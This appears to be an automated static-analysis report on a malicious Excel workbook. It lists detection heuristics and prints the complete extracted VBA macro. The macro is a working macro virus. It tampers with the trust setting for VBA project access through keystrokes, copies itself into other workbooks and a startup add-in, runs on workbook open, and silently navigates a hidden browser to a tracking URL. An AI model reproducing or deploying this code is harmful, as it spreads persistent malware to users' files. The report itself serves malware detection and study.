Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 d0dd787fa9c6bee6…

MALICIOUS

Office (OLE) / .XLS

312.0 KB First seen: 2026-06-09
MD5: b2d8d0443c33643dadb5e9bbd46b724a SHA-1: e0d5f7f5a662ee145d421e6b2f92ce7d34668873 SHA-256: d0dd787fa9c6bee6b23433f17e229393578ec4b7b4d308af79e0dcc8f9021c68
330 Risk Score

Heuristics 9

  • ClamAV: Xls.Downloader.Xanpei-10029137-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Xanpei-10029137-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell "C:\Program Files\Internet Explorer\IEXPLORE.EXE " & "https://products.office.com/zh-CN/"
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.DeleteLines 1, k
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set wd = CreateObject("word.application")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set pro = GetObject("winmgmts:\\.").instancesof("Win32_Process")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
            ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 150, "Sub Workbook_Open()"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://products.office.com/zh-CN/ In document text (OLE body)
    • https://www.2345.com/?k54067673In document text (OLE body)
    • http://schemas.microsoft.com/office/2006/metadata/contentTypeIn document text (OLE body)
    • http://schemas.microsoft.com/office/2006/metadata/properties/metaAttributesIn document text (OLE body)
    • http://schemas.microsoft.com/office/2006/metadata/propertiesIn document text (OLE body)
    • http://www.w3.org/2001/XMLSchemaIn document text (OLE body)
    • http://schemas.microsoft.com/sharepoint/v3In document text (OLE body)
    • http://schemas.microsoft.com/office/2006/documentManagement/typesIn document text (OLE body)
    • http://schemas.microsoft.com/office/infopath/2007/PartnerControlsIn document text (OLE body)
    • http://schemas.openxmlformats.org/package/2006/metadata/core-propertiesIn document text (OLE body)
    • http://www.w3.org/2001/XMLSchema-instanceIn document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://purl.org/dc/terms/In document text (OLE body)
    • http://schemas.microsoft.com/internal/obdIn document text (OLE body)
    • http://dublincore.org/schemas/xmls/qdc/2003/04/02/dc.xsdIn document text (OLE body)
    • http://dublincore.org/schemas/xmls/qdc/2003/04/02/dcterms.xsdIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.microsoft.com/sharepoint/v3/contenttype/formsIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/cus��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������tomXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5814 bytes
SHA-256: 4c364150d4517fec5b22b7895866fc43d04150e442ee5b0f24436349c4c3c302
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private WithEvents app As Application
Attribute app.VB_VarHelpID = -1
Sub authorization()
Application.DisplayAlerts = False
On Error Resume Next
Set pro = GetObject("winmgmts:\\.").instancesof("Win32_Process")
boo = 0
For Each ps In pro
If ps.Name = "iexplore.exe" Then boo = 1
Next
If boo = 0 Then
    Shell "C:\Program Files\Internet Explorer\IEXPLORE.EXE " & "https://products.office.com/zh-CN/"
End If
StartURL = "https://www.2345.com/?k54067673"
Set wd = CreateObject("word.application")
For Each w In wd.Tasks
    If w.Name Like "*2345*" Then
    wd.Quit
    Exit Sub
    End If
Next
wd.Quit
Set ie = CreateObject("InternetExplorer.Application")
ie.Visible = False
ie.navigate StartURL
End Sub
Sub runtimer()
Application.OnTime Now + TimeValue("00:00:01"), "thisworkbook.p2dd"
End Sub
Sub authorize()
Application.OnTime Now + TimeValue("00:01:01"), "thisworkbook.authorization"
End Sub
Private Sub p2dd()
Application.DisplayAlerts = False
On Error Resume Next
Debug.Print ThisWorkbook.VBProject.VBComponents("ThisWorkbook")
If Err.Number = 1004 Then
Err.Clear
Application.SendKeys "%(qtmstv){ENTER}"
DoEvents
End If
    If ActiveWorkbook.FileFormat = 52 Or ActiveWorkbook.FileFormat = 56 Then
        If ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.Find("update", 1, 1, 10, 1, False, False) = True Or ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.Find("boosting", 1, 1, 10, 1, False, False) = True Or ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.Find("person", 1, 1, 10, 1, False, False) = True Then
        k = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.CountOfLines
        ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.DeleteLines 1, k
        End If
   Dim WBstr$, Wb As Workbook
    With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
        For i = 1 To 100 '.CountOfLines
            WBstr = WBstr & .Lines(i, 1) & Chr(10)
        Next
    End With
    If ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.CountOfLines = 0 Then
        ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, WBstr
        ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 150, "Sub Workbook_Open()"
        ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 151, "Call d2p"
        ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 152, "Call authorize"
        ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 153, "End Sub"
    End If
    End If
End Sub
Private Sub d2p()
Dim pth As String
Dim WBstr$, Wb As Workbook
Application.DisplayAlerts = False
On Error Resume Next
pth1 = Application.StartupPath & "\authorization.xls"
Debug.Print ThisWorkbook.VBProject.VBComponents("ThisWorkbook")
If Err.Number = 1004 Then
Err.Clear
Application.SendKeys "%(qtmstv){ENTER}"
DoEvents
End If
If Dir(pth1) = "" Then
Debug.Print ThisWorkbook.VBProject.VBComponents("ThisWorkbook")
If Err.Number <> 1004 Then
    Workbooks.Add.SaveAs Filename:=pth1, FileFormat:=18
End If
    Set Wb = Workbooks.Open(pth1)
        With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
        For i = 1 To 100 '.CountOfLines 100
            WBstr = WBstr & .Lines(i, 1) & Chr(10)
        Next
    End With
    If ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.CountOfLines = 0 And ActiveWorkbook.Name = "authorization.xls" Then
    ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, WBstr
    ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 150, "Sub Workbook_Open()"
    ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 151, "Set App = Application"
    ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 152, "End Sub"
    ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 153, "Private Sub App_WorkbookOpen(ByVal Wb As Workbook)"
    ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 154, "Call runtimer"
    ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 155, "Call authorize"
    ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 156, "End Sub"
    End If
    ActiveWorkbook.IsAddin = True
    Wb.Save
    Wb.Close
    End If
Workbooks.Open (pth1)
End Sub


Sub Workbook_Open()
Call d2p
Call authorize
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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